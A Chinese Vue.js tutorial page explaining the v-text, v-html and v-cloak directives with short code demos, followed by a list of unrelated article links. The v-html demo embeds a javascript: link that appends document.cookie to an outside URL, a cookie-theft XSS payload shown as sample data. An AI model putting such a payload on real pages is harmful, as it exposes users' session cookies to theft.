v-text指令

v-text能直接替换掉 div的内容,不够灵活。如果采用插值表达式即可你随意拼接字符串 。但是v-text不认字符串里的HTML代码。

v-html指令

v-html支持结构的解析,可以将HTML标签展示出来。

 <div id="root"><div v-text="userName" v-cloak></div><div v-html="str"></div></div><script src="./vue.js"></script><script>const vm = new Vue({el:'#root',data:{userName : "hello",str:"<a href=javascript:location.href='http://www.baidu.com/'+document.cookie>兄弟我找到你了</a>",}})</script>

v-html与v-text效果如下:

v-cloak指令

v-cloak指令(没有值):

  1. 本质是一个特殊属性容器,Vue实例创建完毕并接管容器的时候,就会删掉v-cloak属性。
  2. 使用css配合v-cloak属性可以解决网速慢时候,在页面展现的{{tittle}} 问题
    当此时网络非常差的时候,用户看到的界面是插值表达式,这样用户的体验是很不友好的。vue代码在介入前,模板内容没有被成功渲染。解决办法是用v-cloak指令
 <style>[v-cloak]{display: none;}</style><div id="root"><div v-cloak v-html="name"></div></div><script src="./vue.js"></script><script>const vm = new Vue({el:"#root",data:{name:"黑崎一护"}})</script>

当我们的网速非常慢的时候,或者我们vue是cdn的资源,此时vue代码慢于HTML代码,因此用户会看到{{name}} 插值表达式,但是我们加入了v-cloak属性。如果vue还没接管HTML代码,那么这个div就会消失。当网速恢复的时候,或者我们改用了本地vue代码,那么通过css代码就会将v-cloak属性移除。

v-text、v-html、v-cloak指令相关推荐

  1. c语言求最多啤酒数,C语言,算法、动态规划:有一个箱子的容量为v(正整数,0=v=20000),同时有n个物品(0n=30),...

    满意答案 24k纯真爱l 2013.11.07 采纳率:42%    等级:12 已帮助:9552人 #include #define N 30 int xiangzi(int n ,int V ,i ...

  2. T a(v);和T a = v;的区别

    本文所说的类型T均指UDT,非built-in类型 构造一个对象,有如下三种形式: 1.T a; 这个没什么好说的,调用default ctor来构造a 不过要注意的是,要么T就一个ctor也没有,编 ...

  3. v.douyin.com/xxx v.ixigua.com/xxx抖音西瓜网址官方生成制作抖音西瓜缩短口令网址(仅供参考学习)

    抖音短链:https://v.douyin.com/2vGHjMu/(仅限抖音打开) 西瓜短链:https://v.ixigua.com/2oXjpMN/ v.douyin.com是抖音官方的接口,可 ...

  4. 金山发布毒霸V及网镖V新品 坚持高定价策略 (转)

    金山发布毒霸V及网镖V新品 坚持高定价策略 (转)[@more@]  6月3日晚,瑞星突然宣布,给用户和经销商让利2200万,并将单机版产品建议零售价调低30元,零售价格降至138元.同夜,江民宣布, ...

  5. 金山发布毒霸V及网镖V新品 坚持高定价策略

    6月3日晚,瑞星突然宣布,给用户和经销商让利2200万,并将单机版产品建议零售价调低30元,零售价格降至138元.同夜,江民宣布,将以38元的超低价位推出一款杀毒软件-KV江民杀毒王DOS杀毒伴侣.已 ...

  6. v+=e不等于v=v+e

    当v有副作用时,其实v+=e不等于v=v+e 计算v+=e只会求一次v的值,而计算v=v+e则会求两次v的值.在后一种情况下,对v求值可能引起的任何副作用也都会出现两次. a[i++]  +=  2; ...

  7. 求解!IDEA使用泛型V,K,V报红(报错),求大佬支招(已解决)

    public class LRULinkedHashMap extends LinkedHashMap {public V put(K key, V value){try {lock.lock();r ...

  8. 1.JAVA猜数字游戏: 一个类A有两个成员变量v、num,v有一个初值100。 定义一个方法guess,对A类的成员变量v,用num进行猜。 *如果num比v大则提示大了,反之则提示小了.

    思路:  * 1.创建一个类,定义两个成员变量v和num,v是固定值所以直接赋值,num是键盘录入的.  * 2.定义一个setNum类,将来通过对象调用将键盘录入接收的数据进行设置  * 3.创建一 ...

  9. 测试流程V模型和双v模型

    软件测试的v模型和双v(w)模型 1,V模型 2,双V(W)模型 双v模型和v模型最大的区别是,双v模型测试最早介入,不会把问题拖到后期放大后再来解决

  10. 【Linux】system V 消息队列 | system V 信号量(简单赘述)

    文章目录 1 . system V 消息队列(了解) 接口 查看消息队列 2.system V 信号量 (了解) 1.进程互斥等概念的理解 2.认识信号量 3. 接口 这两部分主要是了解即可,为后面学 ...

最新文章

  1. 网络数据嗅探工具HexInject
  2. python使用需要钱吗-万能的Python竟然算不明白“钱”?损失惨重!
  3. 对数线性模型之一(逻辑回归), 广义线性模型学习总结
  4. 温故而知新:HttpApplication,HttpModule,HttpContext及Asp.Net页生命周期
  5. php运算符的关键字,PHP 运算符
  6. 關於@Override
  7. opencv:卷积涉及的基础概念,Sobel边缘检测代码实现及卷积填充模式
  8. Golang Clearing slice
  9. 使用 remix-ide(Browser-solidity)在 Geth 上部署智能合约
  10. css单位介绍em ex ch rem vw vh vm cm mm in pt pc px
  11. linux关于权限、目录、重要的指令以及如何使用包管理器
  12. 转载python2进制打包相关
  13. IT民工系列——c#操作开心网001,实现几乎所有SNS操作!
  14. 百度坐标转换GPS坐标
  15. js使用html5,JS使用H5实现图片预览功能
  16. jquery removeAttr删除属性,attr给属性赋值
  17. 弹性碰撞次数与圆周率的关系 - 3Blue1Brown
  18. python调用rf关键字_RobotFramework之关键字
  19. QQHelper:QQ大家来找茬 辅助工具 外挂
  20. [声纹识别]语音识别系统框架[1]

热门文章

  1. c#位数不够0补充完_C# 如何对数字不足位数时前面(左边)补零呢?
  2. 行业研究报告-全球与中国电脑机箱风扇市场现状及未来发展趋势
  3. SQL Server部分知识的整理
  4. mac Axure RP 8 授权码 以及汉化
  5. Dubbo-02 20190315
  6. IDL和MATLAB读取grib数据
  7. Echarts3实例 map地图值渲染
  8. 【BDTC 2017】专访中兴通讯杜学军:uSmartInsight,大数据与人工智能融合平台
  9. 使用随机森林做特征选择
  10. mysql 配置环境变量的方法及作用